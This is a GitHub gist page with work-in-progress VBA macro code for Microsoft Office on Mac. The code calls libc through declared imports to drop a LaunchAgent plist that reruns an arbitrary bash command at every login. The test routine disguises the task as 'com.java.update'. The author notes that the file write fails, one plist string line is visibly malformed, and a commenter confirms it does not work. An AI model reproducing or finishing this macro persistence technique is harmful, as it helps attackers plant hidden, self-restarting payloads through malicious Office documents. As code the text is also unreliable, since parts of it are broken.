Created
August 30, 2017 13:33
-
-
Save mgeeky/dd184e7f50dfab5ac97b4855f23952bc to your computer and use it in GitHub Desktop.
(WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#If VBA7 Then | |
' 64-bit Mac (2016) | |
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _ | |
(ByVal command As String) As Long | |
Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _ | |
(ByVal file As String, ByVal mode As String) As LongPtr | |
Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _ | |
(ByVal str As String, ByVal file As LongPtr) As Long | |
Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _ | |
(ByVal file As LongPtr) As Long | |
#Else | |
' 32-bit Mac | |
Private Declare Function system Lib "libc.dylib" Alias "system" _ | |
(ByVal command As String) As Long | |
Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _ | |
(ByVal file As String, ByVal mode As String) As Long | |
Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _ | |
(ByVal str As String, ByVal file As Long) As Long | |
Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _ | |
(ByVal file As Long) As Long | |
#End If | |
Sub writeToFile(ByVal file As String, ByVal txt As String) | |
#If Mac Then | |
#If VBA7 Then | |
Dim fp As LongPtr | |
#Else | |
Dim fp As Long | |
#End If | |
Dim grants | |
grants = Array(file) | |
GrantAccessToMultipleFiles(grants) | |
' BUG: fopen will return 0 here. | |
fp = fopen(file, "w") | |
If fp = 0 Then: Exit Sub | |
fputs txt, fp | |
fclose(fp) | |
#End If | |
End Sub | |
Sub MacPersistence(ByVal cmd As String, ByVal taskName As String) | |
Dim plist As String | |
plist = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" | |
plist = plist & "<!DOCTYPE plist PUBLIC ""-//Apple Computer//DTD " | |
plist = plist & "PLIST 1.0//EN"" ""http://www.apple.com/DTDs/plist" | |
plist = plist & " = plist & PropertyList-1.0.dtd"">\n" | |
plist = plist & "<plist version=""1.0"">\n | |
plist = plist & "<dict>\n" | |
plist = plist & " <key>Label</key>\n" | |
plist = plist & " <string>" & taskName & "</string>\n" | |
plist = plist & " <key>ProgramArguments</key>\n" | |
plist = plist & " <array>\n" | |
plist = plist & " <string>/bin/bash</string>\n" | |
plist = plist & " <string>-c</string>\n" | |
plist = plist & " <string>'" & cmd & "'</string>\n" | |
plist = plist & " </array>\n" | |
plist = plist & " <key>RunAtLoad</key>\n" | |
plist = plist & " <true/>\n" | |
plist = plist & " <key>KeepAlive</key>\n" | |
plist = plist & " <true/>\n" | |
plist = plist & "</dict>\n" | |
plist = plist & "</plist>\n" | |
' TODO: File writing does not work at the moment, most likely due to | |
' apps sandboxing mechanism enforced by the system. | |
' Approach #1: File write by system command | |
' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName) | |
' Approach #2: File write by fopen+fputs+fclose | |
Dim fileName As String | |
fileName = "~/Library/LaunchAgents/" & taskName & ".plist" | |
writeToFile fileName, plist | |
End Sub | |
Sub TestMacPersistence() | |
MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update" | |
End Sub |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
hey, does this work for you? For me the file gets never written to disk